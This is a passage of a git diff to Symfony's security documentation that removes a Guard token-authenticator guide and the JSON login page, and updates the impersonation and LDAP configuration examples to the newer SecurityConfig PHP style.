-                        property: apiToken
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="your_db_provider">
-                    <entity class="App\Entity\User" property="apiToken"/>
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'providers' => [
-                'your_db_provider' => [
-                    'entity' => [
-                        'class' => 'App\Entity\User',
-                        'property' => 'apiToken',
-                    ],
-                ],
-            ],
-
-            // ...
-        ]);
-
-Step 2) Create the Authenticator Class
---------------------------------------
-
-To create a custom authentication system, create a class and make it implement
-:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend
-the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`.
-
-This requires you to implement several methods::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Guard\AbstractGuardAuthenticator;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        private $em;
-
-        public function __construct(EntityManagerInterface $em)
-        {
-            $this->em = $em;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request)
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        /**
-         * Called on every request. Return whatever credentials you want to
-         * be passed to getUser() as $credentials.
-         */
-        public function getCredentials(Request $request)
-        {
-            return $request->headers->get('X-AUTH-TOKEN');
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider)
-        {
-            if (null === $credentials) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                return null;
-            }
-
-            // The "username" in this case is the apiToken, see the key `property`
-            // of `your_db_provider` in `security.yaml`.
-            // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByUsername($credentials);
-        }
-
-        public function checkCredentials($credentials, UserInterface $user)
-        {
-            // Check credentials - e.g. make sure the password is valid.
-            // In case of an API token, no credential check is needed.
-
-            // Return `true` to cause authentication success
-            return true;
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        /**
-         * Called when authentication is needed, but it's not sent
-         */
-        public function start(Request $request, AuthenticationException $authException = null)
-        {
-            $data = [
-                // you might translate this message
-                'message' => 'Authentication Required'
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        public function supportsRememberMe()
-        {
-            return false;
-        }
-    }
-
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
-
-Step 3) Configure the Authenticator
------------------------------------
-
-To finish this, make sure your authenticator is registered as a service. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                # ...
-
-                main:
-                    anonymous: true
-                    lazy: true
-                    logout: ~
-
-                    guard:
-                        authenticators:
-                            - App\Security\TokenAuthenticator
-
-                    # if you want, disable storing the user in the session
-                    # stateless: true
-
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-            <config>
-                <!-- ... -->
-
-                <!-- if you want, disable storing the user in the session
-                    add 'stateless="true"' to the firewall -->
-                <firewall name="main" pattern="^/" anonymous="true" lazy="true">
-                    <logout/>
-
-                    <guard>
-                        <authenticator>App\Security\TokenAuthenticator</authenticator>
-                    </guard>
-
-                    <!-- ... -->
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // ...
-        use App\Security\TokenAuthenticator;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main'       => [
-                    'pattern'        => '^/',
-                    'anonymous'      => true,
-                    'lazy'           => true,
-                    'logout'         => true,
-                    'guard'          => [
-                        'authenticators'  => [
-                            TokenAuthenticator::class,
-                        ],
-                    ],
-                    // if you want, disable storing the user in the session
-                    // 'stateless' => true,
-                    // ...
-                ],
-            ],
-        ]);
-
-You did it! You now have a fully-working API token authentication system. If your
-homepage required ``ROLE_USER``, then you could test it under different conditions:
-
-.. code-block:: terminal
-
-    # test with no token
-    curl http://localhost:8000/
-    # {"message":"Authentication Required"}
-
-    # test with a bad token
-    curl -H "X-AUTH-TOKEN: FAKE" http://localhost:8000/
-    # {"message":"Username could not be found."}
-
-    # test with a working token
-    curl -H "X-AUTH-TOKEN: REAL" http://localhost:8000/
-    # the homepage controller is executed: the page loads normally
-
-Now, learn more about what each method does.
-
-.. _guard-auth-methods:
-
-The Guard Authenticator Methods
--------------------------------
-
-Each authenticator needs the following methods:
-
-**supports(Request $request)**
-    This is called on *every* request and your job is to decide if the
-    authenticator should be used for this request (return ``true``) or if it
-    should be skipped (return ``false``).
-
-**getCredentials(Request $request)**
-    Your job is to read the token (or whatever your "authentication" information is)
-    from the request and return it. These credentials are passed to ``getUser()``.
-
-**getUser($credentials, UserProviderInterface $userProvider)**
-    The ``$credentials`` argument is the value returned by ``getCredentials()``.
-    Your job is to return an object that implements ``UserInterface``. If you do,
-    then ``checkCredentials()`` will be called. If you return ``null`` (or throw
-    an :ref:`AuthenticationException <guard-customize-error>`) authentication
-    will fail.
-
-**checkCredentials($credentials, UserInterface $user)**
-    If ``getUser()`` returns a User object, this method is called. Your job is to
-    verify if the credentials are correct. For a login form, this is where you would
-    check that the password is correct for the user. To pass authentication, return
-    ``true``. If you return ``false``
-    (or throw an :ref:`AuthenticationException <guard-customize-error>`),
-    authentication will fail.
-
-**onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)**
-    This is called after successful authentication and your job is to either
-    return a :class:`Symfony\\Component\\HttpFoundation\\Response` object
-    that will be sent to the client or ``null`` to continue the request
-    (e.g. allow the route/controller to be called like normal). Since this
-    is an API where each request authenticates itself, you want to return
-    ``null``.
-
-**onAuthenticationFailure(Request $request, AuthenticationException $exception)**
-    This is called if authentication fails. Your job
-    is to return the :class:`Symfony\\Component\\HttpFoundation\\Response`
-    object that should be sent to the client. The ``$exception`` will tell you
-    *what* went wrong during authentication.
-
-**start(Request $request, AuthenticationException $authException = null)**
-    This is called if the client accesses a URI/resource that requires authentication,
-    but no authentication details were sent. Your job is to return a
-    :class:`Symfony\\Component\\HttpFoundation\\Response` object that helps
-    the user authenticate (e.g. a 401 response that says "token is missing!").
-
-**supportsRememberMe()**
-    If you want to support "remember me" functionality, return ``true`` from this method.
-    You will still need to activate ``remember_me`` under your firewall for it to work.
-    Since this is a stateless API, you do not want to support "remember me"
-    functionality in this example.
-
-**createAuthenticatedToken(UserInterface $user, string $providerKey)**
-    If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
-    instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
-    class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token (a
-    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
-    for the user, who was supplied as the first argument.
-
-The picture below shows how Symfony calls Guard Authenticator methods:
-
-.. raw:: html
-
-    <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object>
-
-.. _guard-customize-error:
-
-Customizing Error Messages
---------------------------
-
-When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException``
-that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and
-``$exception->getMessageData()``) method. The message will be different based on *where*
-authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``).
-
-But, you can also return a custom message by throwing a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()``
-to cause a failure::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    // ...
-
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        // ...
-
-        public function getCredentials(Request $request)
-        {
-            // ...
-
-            if ($token == 'ILuvAPIs') {
-                throw new CustomUserMessageAuthenticationException(
-                    'ILuvAPIs is not a real API key: it\'s just a silly phrase'
-                );
-            }
-
-            // ...
-        }
-
-        // ...
-    }
-
-In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter
-egg to return a custom message if someone tries this:
-
-.. code-block:: terminal
-
-    curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/
-    # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"}
-
-.. _guard-manual-auth:
-
-Manually Authenticating a User
-------------------------------
-
-Sometimes you might want to manually authenticate a user - like after the user
-completes registration. To do that, use your authenticator and a service called
-``GuardAuthenticatorHandler``::
-
-    // src/Controller/RegistrationController.php
-    namespace App\Controller;
-    
-    // ...
-    use App\Security\LoginFormAuthenticator;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
-
-    class RegistrationController extends AbstractController
-    {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request)
-        {
-            // ...
-
-            // after validating the user and saving them to the database
-            // authenticate the user and use onAuthenticationSuccess on the authenticator
-            return $guardHandler->authenticateUserAndHandleSuccess(
-                $user,          // the User object you just created
-                $request,
-                $authenticator, // authenticator whose onAuthenticationSuccess you want to use
-                'main'          // the name of your firewall in security.yaml
-            );
-        }
-    }
-
-Avoid Authenticating the Browser on Every Request
--------------------------------------------------
-
-If you create a Guard login system that's used by a browser and you're experiencing
-problems with your session or CSRF tokens, the cause could be bad behavior by your
-authenticator. When a Guard authenticator is meant to be used by a browser, you
-should *not* authenticate the user on *every* request. In other words, you need to
-make sure the ``supports()`` method *only* returns ``true`` when
-you actually *need* to authenticate the user. Why? Because, when ``supports()``
-returns true (and authentication is ultimately successful), for security purposes,
-the user's session is "migrated" to a new session id.
-
-This is an edge-case, and unless you're having session or CSRF token issues, you
-can ignore this. Here is an example of good and bad behavior::
-
-    public function supports(Request $request)
-    {
-        // GOOD behavior: only authenticate (i.e. return true) on a specific route
-        return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
-
-        // e.g. your login system authenticates by the user's IP address
-        // BAD behavior: So, you decide to *always* return true so that
-        // you can check the user's IP address on every request
-        return true;
-    }
-
-The problem occurs when your browser-based authenticator tries to authenticate
-the user on *every* request - like in the IP address-based example above. There
-are two possible fixes:
-
-1. If you do *not* need authentication to be stored in the session, set
-   ``stateless: true`` under your firewall.
-2. Update your authenticator to avoid authentication if the user is already
-   authenticated:
-
-.. code-block:: diff
-
-    // src/Security/MyIpAuthenticator.php
-    // ...
-
-    + use Symfony\Component\Security\Core\Security;
-
-    class MyIpAuthenticator
-    {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-        public function supports(Request $request)
-        {
-    +         // if there is already an authenticated user (likely due to the session)
-    +         // then return false and skip authentication: there is no need.
-    +         if ($this->security->getUser()) {
-    +             return false;
-    +         }
-
-    +         // the user is not logged in, so the authenticator should continue
-    +         return true;
-        }
-    }
-
-If you use autowiring, the ``Security``  service will automatically be passed to
-your authenticator.
-
-Frequently Asked Questions
---------------------------
-
-**Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose only *one* authenticator to be your
-    "entry_point". This means you'll need to choose *which* authenticator's ``start()``
-    method should be called when an anonymous user tries to access a protected resource.
-    For more details, see :doc:`/security/multiple_guard_authenticators`.
-
-**Can I use this with form_login?**
-    Yes! ``form_login`` is *one* way to authenticate a user, so you could use
-    it *and* then add one or more authenticators. Using a guard authenticator doesn't
-    collide with other ways to authenticate.
-
-**Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
-    ``User`` object and some routes and controllers to help with login, registration,
-    forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
-    to actually authenticate the user. You can continue doing that (see previous
-    question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (like in this article).
-
-.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
-.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 1269cbbdae1..f31474f238c 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -33,7 +33,7 @@ listener:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -55,16 +55,15 @@ listener:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => true,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+            ;
+        };
 
 To switch to another user, add a query string with the ``_switch_user``
 parameter and the username (or whatever field our user provider uses to load users)
@@ -170,7 +169,7 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -191,19 +190,17 @@ also adjust the query parameter name via the ``parameter`` setting:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'ROLE_ADMIN',
-                        'parameter' => '_want_to_be_this_user',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('ROLE_ADMIN')
+                    ->parameter('_want_to_be_this_user')
+            ;
+        };
 
 Limiting User Switching
 -----------------------
@@ -229,7 +226,7 @@ be called):
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -250,23 +247,21 @@ be called):
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
+        use Symfony\Config\SecurityConfig;
 
-            'firewalls' => [
-                'main'=> [
-                    // ...
-                    'switch_user' => [
-                        'role' => 'CAN_SWITCH_USER',
-                    ],
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('main')
+                // ...
+                ->switchUser()
+                    ->role('CAN_SWITCH_USER')
+            ;
+        };
 
 Then, create a voter class that responds to this role and includes whatever custom
 logic you want::
 
-    // src/Service/Voter/SwitchToCustomerVoter.php
+    // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
@@ -283,13 +278,13 @@ logic you want::
             $this->security = $security;
         }
 
-        protected function supports($attribute, $subject)
+        protected function supports($attribute, $subject): bool
         {
             return in_array($attribute, ['CAN_SWITCH_USER'])
                 && $subject instanceof UserInterface;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
             // if the user is anonymous or if the subject is not a user, do not grant access
@@ -341,7 +336,7 @@ you switch users, add an event subscriber on this event::
 
     class SwitchUserSubscriber implements EventSubscriberInterface
     {
-        public function onSwitchUser(SwitchUserEvent $event)
+        public function onSwitchUser(SwitchUserEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -354,7 +349,7 @@ you switch users, add an event subscriber on this event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 // constant for security.switch_user
diff --git a/security/json_login_setup.rst b/security/json_login_setup.rst
deleted file mode 100644
index 97c76e1ab8a..00000000000
--- a/security/json_login_setup.rst
+++ /dev/null
@@ -1,213 +0,0 @@
-How to Build a JSON Authentication Endpoint
-===========================================
-
-In this entry, you'll build a JSON endpoint to log in your users. When the
-user logs in, you can load your users from anywhere - like the database.
-See :ref:`security-user-providers` for details.
-
-First, enable the JSON login under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path: /login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="/login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => '/login',
-                    ],
-                ],
-            ],
-        ]);
-
-.. tip::
-
-    The ``check_path`` can also be a route name (but cannot have mandatory
-    wildcards - e.g. ``/login/{foo}`` where ``foo`` has no default value).
-
-The next step is to configure a route in your app matching this path:
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\HttpFoundation\Request;
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"POST"})
-             */
-            public function login(Request $request)
-            {
-                $user = $this->getUser();
-
-                return $this->json([
-                    'username' => $user->getUsername(),
-                    'roles' => $user->getRoles(),
-                ]);
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="POST"/>
-        </routes>
-
-    .. code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['POST'])
-            ;
-        };
-
-Now, when you make a ``POST`` request, with the header ``Content-Type: application/json``,
-to the ``/login`` URL with the following JSON document as the body, the security
-system intercepts the request and initiates the authentication process:
-
-.. code-block:: json
-
-    {
-        "username": "dunglas",
-        "password": "MyPassword"
-    }
-
-Symfony takes care of authenticating the user with the submitted username and
-password or triggers an error in case the authentication process fails. If the
-authentication is successful, the controller defined earlier will be called.
-
-If the JSON document has a different structure, you can specify the path to
-access the ``username`` and ``password`` properties using the ``username_path``
-and ``password_path`` keys (they default respectively to ``username`` and
-``password``). For example, if the JSON document has the following structure:
-
-.. code-block:: json
-
-    {
-        "security": {
-            "credentials": {
-                "login": "dunglas",
-                "password": "MyPassword"
-            }
-        }
-    }
-
-The security configuration should be:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    json_login:
-                        check_path:    login
-                        username_path: security.credentials.login
-                        password_path: security.credentials.password
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <json-login check-path="login"
-                        username-path="security.credentials.login"
-                        password-path="security.credentials.password"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'json_login' => [
-                        'check_path' => 'login',
-                        'username_path' => 'security.credentials.login',
-                        'password_path' => 'security.credentials.password',
-                    ],
-                ],
-            ],
-        ]);
diff --git a/security/ldap.rst b/security/ldap.rst
index ffbf5714b78..ff768969771 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -8,7 +8,7 @@ Symfony provides different means to work with an LDAP server.
 
 The Security component offers:
 
-* The ``ldap`` :doc:`user provider </security/user_provider>`, using the
+* The ``ldap`` :doc:`user provider </security/user_providers>`, using the
   :class:`Symfony\\Component\\Ldap\\Security\\LdapUserProvider`
   class. Like all other user providers, it can be used with any
   authentication provider.
@@ -70,6 +70,8 @@ An LDAP client can be configured using the built-in
         services:
             Symfony\Component\Ldap\Ldap:
                 arguments: ['@Symfony\Component\Ldap\Adapter\ExtLdap\Adapter']
+                tags:
+                    - ldap
             Symfony\Component\Ldap\Adapter\ExtLdap\Adapter:
                 arguments:
                     -   host: my-server
@@ -90,6 +92,7 @@ An LDAP client can be configured using the built-in
             <services>
                 <service id="Symfony\Component\Ldap\Ldap">
                     <argument type="service" id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter"/>
+                    <tag name="ldap"/>
                 </service>
                 <service id="Symfony\Component\Ldap\Adapter\ExtLdap\Adapter">
                     <argument type="collection">
@@ -112,7 +115,8 @@ An LDAP client can be configured using the built-in
         use Symfony\Component\Ldap\Ldap;
 
         $container->register(Ldap::class)
-            ->addArgument(new Reference(Adapter::class));
+            ->addArgument(new Reference(Adapter::class))
+            ->tag('ldap');
 
         $container
             ->register(Adapter::class)
@@ -126,6 +130,8 @@ An LDAP client can be configured using the built-in
                 ],
             ]);
 
+.. _security-ldap-user-provider:
+
 Fetching Users Using the LDAP User Provider
 -------------------------------------------
 
@@ -154,7 +160,7 @@ use the ``ldap`` user provider.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -179,22 +185,21 @@ use the ``ldap`` user provider.
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->provider('ldap_users')
+                ->ldap()
+                    ->service(Ldap::class)
+                    ->baseDn('dc=example,dc=com')
+                    ->searchDn('cn=read-only-admin,dc=example,dc=com')
+                    ->searchPassword('password')
+                    ->defaultRoles(['ROLE_USER'])
+                    ->uidKey('uid')
+                    ->extraFields(['email'])
+            ;
+        };
 
-        $container->loadFromExtension('security', [
-            'providers' => [
-                'ldap_users' => [
-                    'ldap' => [
-                        'service' => Ldap::class,
-                        'base_dn' => 'dc=example,dc=com',
-                        'search_dn' => 'cn=read-only-admin,dc=example,dc=com',
-                        'search_password' => 'password',
-                        'default_roles' => 'ROLE_USER',
-                        'uid_key' => 'uid',
-                        'extra_fields' => ['email'],
-                    ],
-                ],
-            ],
-        ];
 
 .. caution::
 
@@ -376,7 +381,7 @@ Configuration example for form login
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -397,18 +402,15 @@ Configuration example for form login
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                        // ...
-                    ],
-                ],
-            ]
-        ];
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for HTTP Basic
 ....................................
@@ -431,7 +433,7 @@ Configuration example for HTTP Basic
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -454,20 +456,16 @@ Configuration example for HTTP Basic
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'uid={username},dc=example,dc=com',
-                    ],
-                    'stateless' => true,
-                ],
-            ],
-        ];
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('uid={username},dc=example,dc=com')
+            ;
+        };
 
 Configuration example for form login and query_string
 .....................................................
@@ -493,7 +491,7 @@ Configuration example for form login and query_string
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -518,22 +516,21 @@ Configuration example for form login and query_string
 
         // config/packages/security.php
         use Symfony\Component\Ldap\Ldap;
-
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'form_login_ldap' => [
-                        'service' => Ldap::class,
-                        'dn_string' => 'dc=example,dc=com',
-                        'query_string' => '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))',
-                        'search_dn' => '...',
-                        'search_password' => 'the-raw-password',
-                    ],
-                ],
-            ]
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->stateless(true)
+                ->formLoginLdap()
+                    ->service(Ldap::class)
+                    ->dnString('dc=example,dc=com')
